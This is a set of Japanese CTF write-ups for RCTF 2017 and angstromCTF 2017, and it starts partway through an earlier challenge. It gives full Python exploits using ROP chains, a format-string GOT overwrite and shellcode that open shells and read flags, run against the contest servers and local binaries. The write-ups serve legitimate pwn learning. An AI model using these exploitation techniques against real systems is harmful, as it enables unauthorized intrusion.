bin
boot
dev
etc
home
initrd.img
initrd.img.old
lib
lib64
lost+found
media
mnt
my_ssh_key
my_ssl_key
opt
proc
root
run
sbin
snap
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.old
$ whoami
format_me
$ cd /home/format_me
$ ls
flag
format_meb1946ac92492d2347c6235b4d2611184
$ cat flag
%n_was_a_good_idea?

よってフラグは

% echo -n "%n_was_a_good_idea?" | sha1sum
196841c60f4408dd151af3ce7f4dc84f9583cc7a  -
WhiteHat{196841c60f4408dd151af3ce7f4dc84f9583cc7a}

感想

調べる力の無さを痛感した。

RCTF 2017 Writeup

ogteckで参加していました。 後輩と参加してましたが結局解いたのは自分だけでした。
Misc1問、Pwn2問解いて752点、86位。

PwnのRecho、RCalc、RNoteは個人的に面白かったです(RNoteは解けてないが)。
解いたチーム数によって点数が変わるシステムもよかった。

Writeup

Sign In (Misc 32)

IRCのチャンネルに参加するとフラグがもらえる。

RCTF{Welcome_To_RCTF_2017}

Recho (Pwn 370)

ELF 64-bit、動的リンク、NX有効。

% file Recho
Recho: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64
/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=6696795a3d110750d6229d85238cad1a6789229
8, not stripped
% checksec -f Recho
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fo
rtified Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No      04
Recho

1行目で文字数、2行目で文字列を入力すると同じ文字列を返してくる。

% ./Recho
Welcome to Recho server!
12
AAAAAAAAAAAA
AAAAAAAAAAAA
11
AAAAAAAAAAA
AAAAAAAAAAA

何もチェックを行わず入力した値をreadに渡しているためスタックバッファオーバーフローを起こせる。

  4007c2:       e8 59 fe ff ff          call   400620 <atoi@plt>
  4007c7:       89 45 fc                mov    DWORD PTR [rbp-0x4],eax
  4007ca:       83 7d fc 0f             cmp    DWORD PTR [rbp-0x4],0xf
  4007ce:       7f 07                   jg     4007d7 <main+0x46>
  4007d0:       c7 45 fc 10 00 00 00    mov    DWORD PTR [rbp-0x4],0x10
  4007d7:       8b 45 fc                mov    eax,DWORD PTR [rbp-0x4]
  4007da:       48 63 d0                movsxd rdx,eax
  4007dd:       48 8d 45 d0             lea    rax,[rbp-0x30]
  4007e1:       48 89 c6                mov    rsi,rax
  4007e4:       bf 00 00 00 00          mov    edi,0x0
  4007e9:       e8 12 fe ff ff          call   400600 <read@plt>

ROPを組んでシェルを起動すればいいわけだが、readの返り値が0の時にretが呼ばれるため、接続を切らなくてはいけない。正確には送信方向の接続を切る必要がある(コマンドラインではctrl-D、pythonではsock.shutdown(SHUT_WR))。そのため、ROPの途中でlibc_baseをleakして適応的にROPを再構成する、などということはできない。また、シェルを起動してもコマンドを送れないため、シェルを起動せずに直接フラグを得る必要がある。
フラグのファイル名を指定する必要があるが、retにたどり着いた時点のレジスタの値を見てみるとrsiに文字列へのポインタが格納されているのでここにファイル名を指定してopenのような関数に渡せればよさそう。

RAX: 0x0
RBX: 0x0
RCX: 0x7ffff7b04680 (<__read_nocancel+7>:       cmp    rax,0xfffffffffffff001)
RDX: 0x10
RSI: 0x7fffffffe9a0 --> 0xa3231 ('12\n')
RDI: 0x0
RBP: 0x400840 (<__libc_csu_init>:       push   r15)
RSP: 0x7fffffffe9e8 --> 0x7ffff7a2e830 (<__libc_start_main+240>:        mov    edi,eax)
RIP: 0x400834 (<main+163>:      ret)

第二引数にファイル名を指定する関数をexec系、open系を中心に探してみるとopenatという関数が見つかった。

% man openat
NAME
       open, openat, creat - open and possibly create a file

SYNOPSIS
       int openat(int dirfd, const char *pathname, int flags);
       int openat(int dirfd, const char *pathname, int flags, mode_t mode);

第一引数にディレクトリファイルディスクリプタを指定する以外はopenと同じ。pathnameにはdirfdからの相対パスまたは絶対パスを指定する。また、dirfdにAT_FDCWD (= -100)を指定するとpathnameがカレントディレクトリからの相対パスとして扱われる(つまりopenと同じように使える)。これを使ってopenat->read->writeでフラグを得られる。
add byte [rdi], al; retのgadgetがあったのでこれを使ってwriteのGOTをopenatに変えることでopenatを呼び出した。

from ppapwn import *
import sys

if __name__ == '__main__':
    if len(sys.argv) == 1:
        s = Local(["./Recho"])
    else:
        s = Remote("recho.2017.teamrois.cn",9527)

    read_plt = 0x400600
    write_plt = 0x4005d0
    write_got = 0x601018
    write_offset = 0xf66d0
    openat_offset = 0xf6510
    add_rdi_al = 0x40070d
    pop_rdi = 0x4008a3
    pop_rax = 0x4006fc
    pop_rdx = 0x4006fe
    pop_rsi_r15 = 0x4008a1
    bss_addr = 0x601060

    payload = ""
    payload += "A" * 0x38

    # write -> openat
    payload += p64(pop_rdi) + p64(write_got)
    payload += p64(pop_rax) + p64(0x40)
    payload += p64(add_rdi_al)
    payload += p64(pop_rdi) + p64(write_got+1)
    payload += p64(pop_rax) + p64(0xff)
    payload += p64(add_rdi_al)

    # openat
    payload += p64(pop_rdi) + p64(0xffffff9c)
    payload += p64(pop_rdx) + p64(0)
    payload += p64(write_plt)

    # openat -> write
    payload += p64(pop_rdi) + p64(write_got)
    payload += p64(pop_rax) + p64(0xc0)
    payload += p64(add_rdi_al)
    payload += p64(pop_rdi) + p64(write_got+1)
    payload += p64(pop_rax) + p64(1)

    # read
    payload += p64(pop_rdi) + p64(3)
    payload += p64(pop_rsi_r15) + p64(bss_addr) + "A" * 8
    payload += p64(pop_rdx) + p64(0x100)
    payload += p64(read_plt)

    # write
    payload += p64(pop_rdi) + p64(1)
    payload += p64(write_plt)

    s.send(str(len(payload)))
    s.send(payload)
    s.send("flag")
    s.close()
    s.recvuntil("AX")
    print s.recvline()
% python exploit.py remote
RCTF{l0st_1n_th3_3ch0_d6794b}

今までは接続を切るときはsocket全体を閉じていたが、初めに送信方向の接続だけを切る方がpwnに限らずいいかもしれない。

追記:0x601058に"flag"という文字列があるのでそれを使えばopenでできるらしい。

RCalc (Pwn 350)

ELF 64-bit、動的リンク、NX有効。

% file RCalc
RCalc: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64
/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a4fc0eac70bfe647c94e2819a07c84d69d64988
8, stripped
% checksec -f RCalc
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fo
rtified Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No      04
RCalc

四則演算を行うプログラムで計算結果を保存する機能がある。

% ./RCalc
Input your name pls: h_noson
Hello h_noson!
Welcome to RCTF 2017!!!
Let's try our smart calculator
What do you want to do?
1.Add
2.Sub
3.Mod
4.Multi
5.Exit
Your choice:1
input 2 integer: 10
30
The result is 40
Save the result? yes
What do you want to do?
1.Add
2.Sub
3.Mod
4.Multi
5.Exit
Your choice:5

名前の入力はscanf(“%s”)で行っているためスタックバッファオーバーフローする。しかし、オレオレcanaryがあるためオーバーフローは検知されてしまう(最後にNo!!!と出ているのがそれ)。

ubuntu-xenial% python -c 'print "A"*0x200; print 5' | ./RCalc
Input your name pls: Hello AAAA...A!
Welcome to RCTF 2017!!!
Let's try our smart calculator
What do you want to do?
1.Add
2.Sub
3.Mod
4.Multi
5.Exit
Your choice:No!!!

canaryの機構はpush_canaryとpop_canaryで構成されており、canaryはheapに保存されている。関数呼び出しの度にpush_canaryを行い、関数から出る直前でpop_canaryで取り出した値とスタックの値が等しいかチェックしている。
また、上で触れた計算結果を保存する機能もheapを使っており、計算結果をpushしていくように保存する。そのため計算結果の保存を繰り返し行うとcanaryのアドレスに値を入れることが可能になり、canaryの値をいじることができる。これによってオーバーフロー検知を回避できる。これでripを奪えたのでROPを組んでシェルを起動させる。GOTのアドレスが0x6020xxになっていてscanf(“%s”)では0x20が区切り文字として判定されてしまうためうまくいかず、一度"%ulld"を入力してscanf(“%ulld”)でROPをbss上で再構築してからleaveでrspbssに移した(pop rdxのgadgetがなかったためreadは使えなかった)。あとはいつものようにlibc_baseをleakしてsystemを呼び出す。

from ppapwn import *
import sys
import time

if __name__ == '__main__':
    if len(sys.argv) == 1:
        s = Local(["./RCalc"])
    else:
        s = Remote("rcalc.2017.teamrois.cn",2333)

    puts_plt = 0x400820
    puts_got = 0x602020
    puts_offset = 0x6f690
    system_offset = 0x45390
    scanf_plt = 0x4008e0
    pop_rdi = 0x401123
    pop_rsi_r15 = 0x401121
    leave = 0x401034
    bss_addr = 0x6029c0
    ps_str = 0x401203

    payload = ""
    payload += "A" * 0x108
    payload += p64(0)
    payload += p64(bss_addr-8)
    payload += p64(pop_rdi) + p64(ps_str)
    payload += p64(pop_rsi_r15) + p64(bss_addr+0x110) + "A" * 8
    payload += p64(scanf_plt)
    for i in range(-8,8*11,8):
        payload += p64(pop_rdi) + p64(bss_addr+0x110)
        payload += p64(pop_rsi_r15) + p64(bss_addr+i) + "A" * 8
        payload += p64(scanf_plt)
    payload += p64(pop_rdi) + p64(ps_str)
    payload += p64(pop_rsi_r15) + p64(bss_addr+0x100) + "A" * 8
    payload += p64(scanf_plt)
    payload += p64(leave)
    s.sendline(payload)

    for i in range((0x603160-0x603050) // 8):
        s.sendline("1")
        s.sendline("1")
        s.sendline("0")
        s.send("yes")
        time.sleep(0.1)
    s.sendline("1")
    s.sendline("0")
    s.sendline("0")
    s.send("yes")
    s.recvuntil("The result is 0")
    s.recvuntil("Your choice:")
    s.sendline("5")

    s.sendline("%ulld")
    s.sendline("0")
    s.sendline(str(pop_rdi))
    s.sendline(str(puts_got))
    s.sendline(str(puts_plt))
    s.sendline(str(pop_rdi))
    s.sendline(str(ps_str))
    s.sendline(str(pop_rsi_r15))
    s.sendline(str(bss_addr+8*11))
    s.sendline("0")
    s.sendline(str(scanf_plt))
    s.sendline(str(pop_rdi))
    s.sendline(str(bss_addr+0x100))
    s.sendline("/bin/sh")

    libc_base = u64(s.recvline()) - puts_offset
    print "[*] libc base is at", hex(libc_base)
    s.sendline(p64(libc_base+system_offset))
    s.interact()
% python exploit.py remote
[*] libc base is at 0x7f52bd02c000
[*] Switching to interactive mode

$ ls
RCalc
bin
dev
flag
lib
lib32
lib64
$ cat flag
RCTF{Y0u_kn0w_th3_m4th_9e78cc}

感想

やっぱり一人は厳しい

angstromctf 2017 Writeup

angstromCTF

チームで参加しました。
Crypto1問、Binary4問解いて470点。チーム全体で780点取り15位でした。
他のメンバーのWriteup

Writeup

Running in Circles (Binary 50)

このCTFのBinaryはすべてソースコードも渡された。 ソースコードを見てみるとシェルを開く関数が用意されている。

void give_shell()
{
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
    system("/bin/sh -i");
}

mainでは入力するバイト数を読み込んでその分読み込みを行うようになっている。elseの部分を見てみると256引いてから残りのバイト数をチェックせずに読み込んでいるため、スタックバッファオーバーフローが起こせる。あとは戻り番地をシェルを開く関数に変えて終わり。

int main(int argc, char **argv)
{
    char buffer[256];
    int pos = 0;

    printf("Welcome to the circular buffer manager:\n\n");
    while(1)
    {
        int len;
        printf("How many bytes? "); fflush(stdout);
        scanf("%u", &len);
        fgets(buffer, 2, stdin);

        if (len == 0) break;

        printf("Enter your data: "); fflush(stdout);
        if (len < 256 - pos)
        {
            fgets(&buffer[pos], len, stdin);
            pos += len;
        }
        else
        {
            fgets(&buffer[pos], 256 - pos, stdin);
            len -= (256 - pos);
            pos = 0;

            fgets(&buffer[0], len, stdin);
            pos += len;
        }

        printf("\n");
    }

    return 0;
}
from ppapwn import *
import time

if __name__ == '__main__':
    s = Local(["./run_circles"])
    print s.recvuntil("bytes? ")
    s.sendline("544")
    print s.recvuntil("data: ")
    s.sendline("A"*535 + p64(0x400806))
    print s.recvuntil("bytes? ")
    s.sendline("0")
    s.interact()

Art of the Shell (Binary 80)

void be_nice_to_people()
{
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
}

void vuln(char *input)
{
    char buf[64];
    strcpy(buf, input);
}

int main(int argc, char **argv)
{
    if (argc != 2)
    {
        printf("Usage: art_of_the_shell [str]\n");
        return 1;
    }

    be_nice_to_people();
    vuln(argv[1]);

    return 0;
}

権限昇格をしてくれているのでシェルを開くだけでよさそう。strcpyはraxにbufの先頭番地を格納するので、シェルコードをbufの先頭に置いてROPでjmp raxをすればいい。

# exploit.py
from ppapwn import *

if __name__ == '__main__':
    payload = ""
    payload += get_shellcode("lin64")
    payload += "A" * (72 - len(payload))
    payload += "\x65\x05\x40" # jmp rax
    print payload
$ ./art_of_the_shell $(python exploit.py)

To-Do List (Binary 140)

リストを表示する部分にフォーマットストリングバグの脆弱性がある。

void view_list()
{
    char list_name[16];
    if (!read_list_name(list_name)) return;

    FILE *fp = fopen(list_name, "r");
    if (!fp)
    {
        printf("Error opening list\n");
        return;
    }

    char item[ITEM_LENGTH];
    while (readline(item, ITEM_LENGTH, fp))
    {
        printf(item);
        printf("\n");
    }

    fclose(fp);
}

以下のように繰り返し%pを入れると10個目の引数の部分がbufの先頭に当たることがわかる。

> c
Enter the name of the list: hoge
AAAAAAAA%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p

> v
Enter the name of the list: hoge
AAAAAAAA0x1,0x2e,0xe,0x7ffc410fa660,0x2c70252c70252c70,0x7ffc410fa6c0,0x232c010,0x65676f68,(nil),0x4141414141414141,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70

writelineで入力で受け取った文字列をfwriteに入れているのでfwriteをsystemに変えればシェルを開けそうとわかる。

static void writeline(char *buffer, int len, FILE *fp)
{
    int newline_idx = strcspn(buffer, "\0");
    if (newline_idx == len) newline_idx = len - 1;

    buffer[newline_idx] = '\n';
    fwrite(buffer, newline_idx + 1, 1, fp);
}

fwriteのGOTをsystemのアドレスに上書きするために、まず以下のようにfwriteのオフセットを知り、実際のfwriteの番地からオフセットの値を引くことでlibcの番地を割り出す。そのlibcの番地にsystemのオフセットを足せばsystemのアドレスになるのでその値をfwriteのGOTに上書きする。

ubuntu-xenial% ldd todo_list
        linux-vdso.so.1 =>  (0x00007ffe60ad0000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb2a916b000)
        /lib64/ld-linux-x86-64.so.2 (0x00005600f5703000)
ubuntu-xenial% nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep -e " fwrite$" -e " system$"
000000000006e6e0 W fwrite
0000000000045390 W system

以下がexploitコード。ペイロードを送るときにバッファにゴミが入っていることがあるため、初めに(8~9行目あたりで)0埋めしている。

from ppapwn import *

def leak(addr):
    s.sendline("c")
    s.recvuntil("list: ")
    s.sendline("leak_addr")
    for i in range(1,63)[::-1]:
        s.sendline("A"*i)
    s.sendline("%11$sAAA" + p64(addr))
    s.sendline("")

    s.sendline("v")
    s.recvuntil("list: ")
    s.sendline("leak_addr")
    s.recvuntil("\nA\n")
    return u64(s.recvuntil("AAA")[:-3])

def got_overwrite(target,addr):
    s.recvuntil("> ")
    s.sendline("c")
    s.sendline("got_overwrite")
    for i in range(1,63)[::-1]:
        s.sendline("A"*i)
    for i in range(0,6,2):
        payload = ""
        payload += "%" + str(u64(p64(addr)[i:i+2])).rjust(6,'0') + "x"
        payload += "%12$hnAA"
        payload += p64(target+i)
        s.sendline(payload)
    s.sendline("")
    s.recvuntil("> ")
    s.sendline("v")
    s.sendline("got_overwrite")
    s.recvuntil("> ")

if __name__ == '__main__':
    if len(sys.argv) == 1:
        s = Local(["./todo_list"])
    else:
        s = Remote("shell.angstromctf.com",9000)
    s.sendline("hack")
    s.sendline("hack")

    got_fwrite = 0x6020c8
    offset_fwrite = 0x6e6e0
    offset_system = 0x45390

    libc_base = leak(got_fwrite) - offset_fwrite
    print "[*] leak libc base:", hex(libc_base)

    print "[*] overwrite fwrite GOT"
    got_overwrite(got_fwrite,libc_base+offset_system)

    s.sendline("c")
    s.sendline("exploit")
    s.sendline("/bin/sh")
    s.recvuntil("list: ")
    s.interact()

No libc for You (Binary 150)

getsしてるだけの単純なプログラム。スタックバッファオーバーフロー脆弱性がある。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void vuln()
{
    char buf[64];

    gets(buf);
    printf("You said: %s\n", buf);
}

int main(int argc, char **argv)
{
    vuln();

    return 0;
}
ubuntu-xenial% file nolibc4u
nolibc4u: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=5706d8c0dd81b6dd639555de66affc8100fc4887, not stripped

静的リンクなので関数のアドレスは簡単にわかるがsystemはない。なのでROPでシステムコールを呼び出すことによってシェルを起動することにした。 以下のようなアセンブリコードをROPで実現する。

# setresuid(1003,1003,1003)
mov rax, 0x75
mov rdi, 1003
mov rsi, 1003
mov rdx, 1003
syscall

# execve("/bin/sh",0,0)
mov rax, 0x3b
mov rdi, ["/bin/sh"のアドレス]
mov rsi, 0
mov rdx, 0
syscall

それぞれのガジェットを探してみるとpop rax以外は見つかった。

ubuntu-xenial% rp++ -f nolibc4u -r 2 --unique | grep -e "pop rdi ; ret" -e "pop rdx ; pop rsi"
0x004014c6: pop rdi ; ret  ;  (177 found)
0x00441d29: pop rdx ; pop rsi ; ret  ;  (1 found)
ubuntu-xenial% rp++ -f nolibc4u -r 1 --unique | grep "syscall" | grep "ret"
0x004666d5: syscall  ; ret  ;  (5 found)

そこで、printfが出力した文字列の長さをraxに入れて返すということを使ってraxに値を代入した。例えば、長さ0x75の文字列を用意してprintfすればraxに0x75が入る。また、このprintfで出力する文字や"/bin/sh"はスタックに書き込んでもアドレスがわからないため、bssセクションを使った。bssセクションのアドレスはreadelfコマンドでわかる。

ubuntu-xenial% readelf -S nolibc4u | grep "\.bss"
  [26] .bss              NOBITS           00000000006cab60  000cab50
from ppapwn import *

if __name__ == '__main__':
    syscall = 0x4666d5
    pop_rdi = 0x4014c6
    pop_rdx_rsi = 0x441d29
    xor_rax = 0x42550f
    bss = 0x6cab60
    vuln = 0x4009ae
    gets = 0x40fb60
    printf = 0x40f330

    s = Local(["./nolibc4u"])
    # s = Local(["/problems/no_libc_for_you/nolibc4u"])

    payload = "A" * 72
    payload += p64(pop_rdi) + p64(bss)
    payload += p64(gets)
    payload += p64(pop_rdi) + p64(bss+8)
    payload += p64(gets)
    payload += p64(pop_rdi) + p64(bss+8)
    payload += p64(xor_rax)
    payload += p64(printf)
    payload += p64(pop_rdi) + p64(0)
    payload += p64(pop_rdx_rsi) + p64(0) + p64(0)
    # payload += p64(pop_rdi) + p64(1003)
    # payload += p64(pop_rdx_rsi) + p64(1003) + p64(1003)
    payload += p64(syscall)
    payload += p64(vuln)
    s.sendline(payload)

    s.sendline("/bin/sh")
    s.sendline("A" * 117)

    payload = "A" * 48 + "\0" + "A" * 23
    payload += p64(pop_rdi) + p64(bss)
    payload += p64(pop_rdx_rsi) + p64(0) + p64(0)
    payload += p64(syscall)
    s.sendline(payload)

    s.interact()

Descriptions (Crypto 50)

テキストファイルが一つ渡される。

The horse was a small falcon runner.
The horse was a huge goat pitcher.
The pig is a quick falcon singer.
The goat was a quick sheep speaker.
The sheep is the big goat pitcher.
The sheep was a slow sheep hitter.
The horse is a tiny goat dancer.
A cow is the huge bluejay dancer.
The falcon is the fast sheep pitcher.
The pig was a speedy falcon pitcher.
The pig was the speedy goat singer.
The goat was a huge sheep hitter.
The horse was the speedy sheep runner.
The cow was a speedy bluejay singer.
A sheep is a small falcon catcher.
The cow was the fast cow singer.
The goat was a sluggish sheep catcher.
The goat is the slow robin catcher.

1行で7ワードあるのでそれぞれのワードを1ビットに置き換えれば1行で1文字になりそうという直感を信じたらうまくいった。actf{…}の形式であることはわかっているので、そこの部分のビットはすぐにわかる。残りの部分が問題だが、後半のencod1ngがちらっと見えたのと、割り当てるビットに規則性(hitter,runner,catcherなど同じカテゴリのものは同じビットになる)があったので結構すんなりといけた。

# solve.py
def decode(c):
    if c in dic:
        return dic[c]
    else:
        return "*"

dic = {}
dic["tiny"] = "0"
dic["dancer"] = "0"

dic["hitter"] = "1"
dic["speedy"] = "1"
dic["fast"] = "1"
dic["bluejay"] = "0"
dic["cow"] = "1"
dic["sluggish"] = "1"

dic["robin"] = "0"
dic["slow"] = "1"
dic["quick"] = "1"
dic["big"] = "0"
dic["small"] = "0"
dic["singer"] = "0"
dic["speaker"] = "0"
dic["The"] = "1"
dic["the"] = "1"
dic["A"] = "0"
dic["a"] = "0"
dic["was"] = "0"
dic["is"] = "1"
dic["horse"] = "1"
dic["huge"] = "0"
dic["falcon"] = "0"
dic["runner"] = "1"
dic["goat"] = "1"
dic["pitcher"] = "1"
dic["catcher"] = "1"
dic["pig"] = "1"
dic["sheep"] = "1"

ans = ""
for line in sys.stdin:
    x = "".join(map(decode,line.strip(" .\n").split(" ")))
    print x,
    if all([c != "*" for c in x]):
        print chr(int(x,2))
        ans += chr(int(x,2))
    else:
        print ""
        ans += "*"
print ans
ubuntu-xenial% ./solve.py < sentences.txt
1100001 a
1100011 c
1110100 t
1100110 f
1111011 {
1100111 g
1110010 r
0111000 8
1011111 _
1100101 e
1101110 n
1100011 c
1101111 o
1100100 d
0110001 1
1101110 n
1100111 g
1111101 }
actf{gr8_encod1ng}

感想

割と解けたと思ったが後から考えると簡単な問題だったのでpwn良問集などでもっと力を付けたい。